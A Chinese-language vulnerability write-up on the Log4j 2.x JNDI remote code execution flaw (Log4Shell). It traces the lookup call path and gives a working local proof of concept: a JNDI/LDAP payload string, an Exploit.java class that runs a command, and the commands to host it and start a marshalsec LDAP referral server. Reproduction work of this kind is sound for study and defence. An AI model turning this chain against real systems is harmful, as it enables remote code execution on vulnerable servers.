Apache Log4j 漏洞利用分析

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Apache Log4j 项目被爆存在远程代码执行漏洞，且利用简单，影响危害巨大，光是引入了 log4j2 依赖的组件都是数不清，更别提项目本身可能存在的风险了，复现漏洞来学习一下，希望可以帮助到大家。

一、影响范围

引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件

二、复现环境

Log4j-core 2.14.1

Marshalsec

JDK-1.8.0_221

三、 漏洞分析

测试代码如下：

#log4j,java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //The default trusturlcodebase of the higher version JDK is false
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:1389/exploit1}");
    }
}



#pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <!--
      add properties to fix compilation error

      source contribution from stack overflow link
      https://stackoverflow.com/questions/53034953/error-source-option-5-is-no-longer-supported-use-6-or-later-on-maven-compile
    -->
    <properties>
      <maven.compiler.source>6</maven.compiler.source>
      <maven.compiler.target>1.6</maven.compiler.target>
    </properties>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

    <!--
      add assembly to fix noclassfound error in
        java -cp log4j-rce-1.0-SNAPSHOT.jar log4j

      use the following instead
          java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j

      source contribution from the following link
      https://github.com/jeffli1024/log4j-rce-test/blob/main/apache-log4j-poc/pom.xml
    -->
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>2.19.1</version>
            </plugin>
            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <finalName>${project.artifactId}-${project.version}-all</finalName>
                    <appendAssemblyId>false</appendAssemblyId>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

根据官方的修订信息：https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues

可以知道，是通过 jndi 中 LDAP 注入的方式实现了 RCE

JNDI lookup 的用法：

JndiLookup 允许通过 JNDI 检索变量，然后给了示例：

<File name="Application" fileName="application.log">
    <PatternLayout>
        <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
    </PatternLayout>
</File>

实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下：

${jndi:JNDIContent}

既然明确了lookup是触发漏洞的点，并且找到了可以触发 lookup的方法 ，那么就可以找入口点，只要找到入口点，然后传入 jndi 调用 ldap 的方式，就能够实现 RCE。

那么，哪一个入口点可以传入${jndi:JNDIContent}呢？

没错了，就是LogManager.getLogger().xxxx()方法

在log4j2中，共有8 个日志级别，可以通过LogManager.getLogger()调用记录日志的方法如下：

LogManager.getLogger().error()
LogManager.getLogger().fatal()

LogManager.getLogger().trace()
LogManager.getLogger().traceExit()
LogManager.getLogger().traceEntry()
LogManager.getLogger().info()
LogManager.getLogger().warn()
LogManager.getLogger().debug()
LogManager.getLogger().log()
LogManager.getLogger().printf()

上述列表中，error()和fatal()方法可默认触发漏洞，其余的方法需要配置日志级别才可以触发漏洞。

只有当当前事件的日志等级大于等于设置的日志等级时，才会符合条件，进入logMessage()方法

由于这些调用方法触发漏洞的原理都是一样的，所以本文就以 error 举例说明。

查看 error 的类继承关系可以发现，实际上会调用AbstractLogger.java中的public void error()方法：

因为在logIfEnabled方法中，对当前日志等级进行了一次判断：

如果符合，那么会进行logMessage操作

后续不关键调用路径如下：

logMessage ----> 
logMessageSafely ----> 
logMessageTrackRecursion ----> 
tryLogMessage ----> 
log

不动态调试的情况下跟log方法会到AbstractLogger.log方法，实际上这里是org.apache.logging.log4j.core.Loggger.log方法

Loggger.log ---->  

DefaultReliabilityStrategy.log ----> 

loggerConfig.log ----> 
processLogEvent ----> 
callAppenders----> 

AppenderControl.callAppenders  ----> 
tryCallAppender ----> 

AbstractOutputStreamAppender.append ----> 
tryAppend ----> 
directEncodeEvent ----> 

PatternLayout.encode ----> 
toText ---->
toSerializable ---->
format

这里的formatters方法包含了多个formatter对象，其中出发漏洞的是第8个，其中包含MessagePatternConverter

继续跟着代码走下去，走到了MessagePatternCoverter.class文件的format函数下；

如果检测到$字符后跟了一个{字符，那么会对直到}中间的内容进行解析并replace。

继续跟进就进入到了 StrSubstitutor的substitute函数下

这里就是漏洞发生的主要部分了，基本上是递归处理里面的语法内容，还有一些内置的语法

prefixMatcher是${
suffixMatcher是}

其实这里是触发漏洞的必要条件，通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

进过语法处理，varname会被修改为对应语法的对应部分（重要绕过），最后会进入resolveVariable()方法中

而resolveVariable这里则直接根据不同的协议进入相应的lookup，其中jndi.lookup就会导致漏洞，而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

在Interpolator.lookup方法中，首先会获取字符串的前缀值：

如果匹配到内置方法，那么就进入对应的处理方法，这里是 JNDI 方法，那么就会由JndiLookup类进一步处理：

最终加载由攻击者传入的LDAP服务端地址，然后返回一个恶意的JNDI Reference对象，触发漏洞，实现 RCE。

四、 漏洞利用

1、 编写利用类

因为利用ldap方式进行命令执行，首先要编写最后的命令执行代码。
Exploit.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{    
	public Exploit() throws IOException,InterruptedException{        
	String cmd="touch /tmp/xxx";        
	final Process process = Runtime.getRuntime().exec(cmd);        
	printMessage(process.getInputStream());;        
	printMessage(process.getErrorStream());        
	int value=process.waitFor();        
	System.out.println(value);    
}    
private static void printMessage(final InputStream input) {        
// TODO Auto-generated method stub        
new Thread (new Runnable() {            
@Override            
	public void run() {                
	// TODO Auto-generated method stub                
	Reader reader =new InputStreamReader(input);                
	BufferedReader bf = new BufferedReader(reader);                
	String line = null;                
	try {                    
	while ((line=bf.readLine())!=null)                    {                        
	System.out.println(line);                    }                
	}catch (IOException  e){  
	                  e.printStackTrace(); 
	                                 }            }        
}).start();    }}

编译代码后，

javac Exploit.java

开启HTTP服务

python -m http.server

2、 开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar 
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1

希望可以对大家有所帮助哦！！！
图片是我的公众号重新截图，所以有些模糊，大家见谅哦~